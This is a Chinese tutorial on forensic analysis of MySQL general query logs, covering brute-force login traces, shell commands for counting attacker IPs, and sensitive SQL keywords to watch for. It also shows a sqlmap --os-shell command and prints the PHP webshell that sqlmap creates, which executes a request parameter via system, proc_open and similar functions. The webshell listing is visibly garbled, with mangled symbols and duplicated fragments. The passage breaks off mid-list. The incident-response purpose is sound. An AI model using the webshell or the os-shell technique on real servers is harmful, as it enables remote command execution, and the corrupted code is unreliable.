浅谈MySQL日志分析_Mysql

常见的数据库攻击包括弱口令、sql注入、提升权限、窃取备份等。对数据库日志进行分析，可以发现攻击行为，进一步还原攻击场景及追溯攻击源。

0x01 mysql日志分析

general query log能记录成功连接和每次执行的查询，我们可以将它用作安全布防的一部分，为故障分析或黑客事件后的调查提供依据。

1、查看log配置信息
show variables like '%general%';
2、开启日志
set global general_log = 'on';
3、指定日志文件路径
#set global general_log_file = '/var/lib/mysql/mysql.log';

比如，当我访问 /test.php?id=1，此时我们得到这样的日志：

190604 14:46:14 14 connect root@localhost on
14 init db test
14 query select * from admin where id = 1
14 quit `

我们按列来解析一下：

第一列:time，时间列，前面一个是日期,后面一个是小时和分钟，有一些不显示的原因是因为这些sql语句几乎是同时执行的,所以就不另外记录时间了。
第二列:id，就是show processlist出来的第一列的线程id,对于长连接和一些比较耗时的sql语句,你可以精确找出究竟是那一条那一个线程在运行。
第三列:command，操作类型，比如connect就是连接数据库，query就是查询数据库(增删查改都显示为查询)，可以特定过虑一些操作。
第四列:argument，详细信息，例如 connect root@localhost on 意思就是连接数据库，如此类推,接下面的连上数据库之后,做了什么查询的操作。

0x02 登录成功/失败

我们来做个简单的测试吧，使用我以前自己开发的弱口令工具来扫一下，字典设置比较小，2个用户，4个密码，共8组。

mysql中的log记录是这样子：

time                 id        command         argument
190601 22:03:20       98 connect    root@192.168.204.1 on 
           98 connect    access denied for user 'root'@'192.168.204.1' (using password: yes)
          103 connect    mysql@192.168.204.1 on 
          103 connect    access denied for user 'mysql'@'192.168.204.1' (using password: yes)
          104 connect    mysql@192.168.204.1 on 
          104 connect    access denied for user 'mysql'@'192.168.204.1' (using password: yes)
          100 connect    root@192.168.204.1 on 
          101 connect    root@192.168.204.1 on 
          101 connect    access denied for user 'root'@'192.168.204.1' (using password: yes)
           99 connect    root@192.168.204.1 on 
           99 connect    access denied for user 'root'@'192.168.204.1' (using password: yes)
          105 connect    mysql@192.168.204.1 on 
          105 connect    access denied for user 'mysql'@'192.168.204.1' (using password: yes)
          100 query    set autocommit=0
          102 connect    mysql@192.168.204.1 on 
          102 connect    access denied for user 'mysql'@'192.168.204.1' (using password: yes)
          100 quit    `

你知道在这个口令猜解过程中，哪个是成功的吗？

利用爆破工具，一个口令猜解成功的记录是这样子的：

190601 22:03:20     100 connect    root@192.168.204.1 on 
       100 query    set autocommit=0
       100 quit

但是，如果你是用其他方式，可能会有一点点不一样的哦。

navicat for mysql登录：

190601 22:14:07      106 connect    root@192.168.204.1 on 
                 106 query    set names utf8
                 106 query    show variables like 'lower_case_%'
                 106 query    show variables like 'profiling'
                 106 query    show databases

命令行登录：

190601 22:17:25      111 connect    root@localhost on 
                 111 query    select @@version_comment limit 1
190601 22:17:56      111 quit

这个差别在于，不同的数据库连接工具，它在连接数据库初始化的过程中是不同的。通过这样的差别，我们可以简单判断出用户是通过连接数据库的方式。

另外，不管你是爆破工具、navicat for mysql、还是命令行，登录失败都是一样的记录。

登录失败的记录：

102 connect    mysql@192.168.204.1 on 
102 connect    access denied for user 'mysql'@'192.168.204.1' (using password: yes)

利用shell命令进行简单的分析：

#有哪些ip在爆破？
grep  "access denied" mysql.log |cut -d "'" -f4|uniq -c|sort -nr
     27 192.168.204.1
#爆破用户名字典都有哪些？
grep  "access denied" mysql.log |cut -d "'" -f2|uniq -c|sort -nr
     13 mysql
     12 root
      1 root
      1 mysql

在日志分析中，特别需要注意一些敏感的操作行为，比如删表、备库，读写文件等。关键词：drop table、drop function、lock tables、unlock tables、load_file() 、into outfile、into dumpfile。

敏感数据库表：select from mysql.user、select from mysql.func

0x03 sql注入入侵痕迹

在利用sql注入漏洞的过程中，我们会尝试利用sqlmap的--os-shell参数取得shell，如操作不慎，可能留下一些sqlmap创建的临时表和自定义函数。我们先来看一下sqlmap os-shell参数的用法以及原理：

1、构造一个sql注入点，开启burp监听8080端口

sqlmap.py -u http://192.168.204.164/sql.php?id=1 --os-shell --proxy=http://127.0.0.1:8080

http通讯过程如下：

创建了一个临时文件tmpbwyov.php，通过访问这个木马执行系统命令，并返回到页面展示。

tmpbwyov.php：

<?php 𝑐 = 𝑐 = _request["cmd"];
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set('max_execution_time', 0);
𝑧 = @𝑖𝑛𝑖𝑔𝑒𝑡(′𝑑𝑖𝑠𝑎𝑏𝑙𝑒𝑓𝑢𝑛𝑐𝑡𝑖𝑜𝑛𝑠′);
𝑖𝑓(!𝑒𝑚𝑝𝑡𝑦(𝑧 = @𝑖𝑛𝑖𝑔𝑒𝑡(′𝑑𝑖𝑠𝑎𝑏𝑙𝑒𝑓𝑢𝑛𝑐𝑡𝑖𝑜𝑛𝑠′);
𝑖𝑓(!𝑒𝑚𝑝𝑡𝑦(z)) {
    𝑧 = 𝑝𝑟𝑒𝑔𝑟𝑒𝑝𝑙𝑎𝑐𝑒(′ / [, ] + /′, ′, ′, 𝑧 = 𝑝𝑟𝑒𝑔𝑟𝑒𝑝𝑙𝑎𝑐𝑒(′ / [, ] + /′, ′, ′, z);
    𝑧 = 𝑒𝑥𝑝𝑙𝑜𝑑𝑒(′, ′, 𝑧 = 𝑒𝑥𝑝𝑙𝑜𝑑𝑒(′, ′, z);
    𝑧 = 𝑎𝑟𝑟𝑎𝑦𝑚𝑎𝑝(′𝑡𝑟𝑖𝑚′, 𝑧 = 𝑎𝑟𝑟𝑎𝑦𝑚𝑎𝑝(′𝑡𝑟𝑖𝑚′, z);
} else {
    z = array();
}
z = array();
}
c = c . " 2>&1\n";
function f(c . " 2>&1\n";
function f(n) {
    global 𝑧;
    𝑟𝑒𝑡𝑢𝑟𝑛𝑖𝑠𝑐𝑎𝑙𝑙𝑎𝑏𝑙𝑒(𝑧;
    𝑟𝑒𝑡𝑢𝑟𝑛𝑖𝑠𝑐𝑎𝑙𝑙𝑎𝑏𝑙𝑒(n) and !in_array(𝑛, 𝑛, z);
}
if (f('system')) {
    ob_start();
    system(𝑐);
    𝑐);
    w = ob_get_contents();
    ob_end_clean();
} elseif (f('proc_open')) {
    𝑦 = 𝑝𝑟𝑜𝑐𝑜𝑝𝑒𝑛(𝑦 = 𝑝𝑟𝑜𝑐𝑜𝑝𝑒𝑛(c, array(array(pipe, r), array(pipe, w), array(pipe, w)), 𝑡);
    𝑡);
    w = null;
    while (!feof(𝑡[1])) $𝑤.= 𝑓𝑟𝑒𝑎𝑑($𝑡[1], 512);
    @𝑝𝑟𝑜𝑐𝑐𝑙𝑜𝑠𝑒(𝑡[1])) $𝑤 . = 𝑓𝑟𝑒𝑎𝑑($𝑡[1], 512);
    @𝑝𝑟𝑜𝑐𝑐𝑙𝑜𝑠𝑒(y);
} elseif (f('shell_exec')) {
    𝑤 = 𝑠ℎ𝑒𝑙𝑙𝑒𝑥𝑒𝑐(𝑤 = 𝑠ℎ𝑒𝑙𝑙𝑒𝑥𝑒𝑐(c);
} elseif (f('passthru')) {
    ob_start();
    passthru(𝑐);
    𝑐);
    w = ob_get_contents();
    ob_end_clean();
} elseif (f('popen')) {
    𝑥 = 𝑝𝑜𝑝𝑒𝑛(𝑥 = 𝑝𝑜𝑝𝑒𝑛(c, r);
    𝑤 = 𝑁𝑈𝐿𝐿;
    𝑖𝑓(𝑖𝑠𝑟𝑒𝑠𝑜𝑢𝑟𝑐𝑒(𝑤 = 𝑁𝑈𝐿𝐿;
    𝑖𝑓(𝑖𝑠𝑟𝑒𝑠𝑜𝑢𝑟𝑐𝑒(x)) {
        while (!feof(x)) {
            $w.= fread($x, 512);
        }
    }
    @pclose(x)) {
        $w.= fread($x, 512);
    }
}
@pclose(x);
} elseif (f('exec')) {
    𝑤 = 𝑎𝑟𝑟𝑎𝑦();
    𝑒𝑥𝑒𝑐(𝑤 = 𝑎𝑟𝑟𝑎𝑦();
    𝑒𝑥𝑒𝑐(c, 𝑤);
    𝑤);
    w = join(chr(10), w) . chr(10);
} else {
    w) . chr(10);
} else {
    w = 0;
}
print "

" . $w . "
"; ?>`

创建了一个临时表sqlmapoutput，调用存储过程执行系统命令将数据写入临时表，然后取临时表中的数据展示到前端。

通过查看网站目录中最近新建的可疑文件，可以判断是否发生过sql注入漏洞攻击事件。

检查方法：

1、检查网站目录下，是否存在一些木马文件：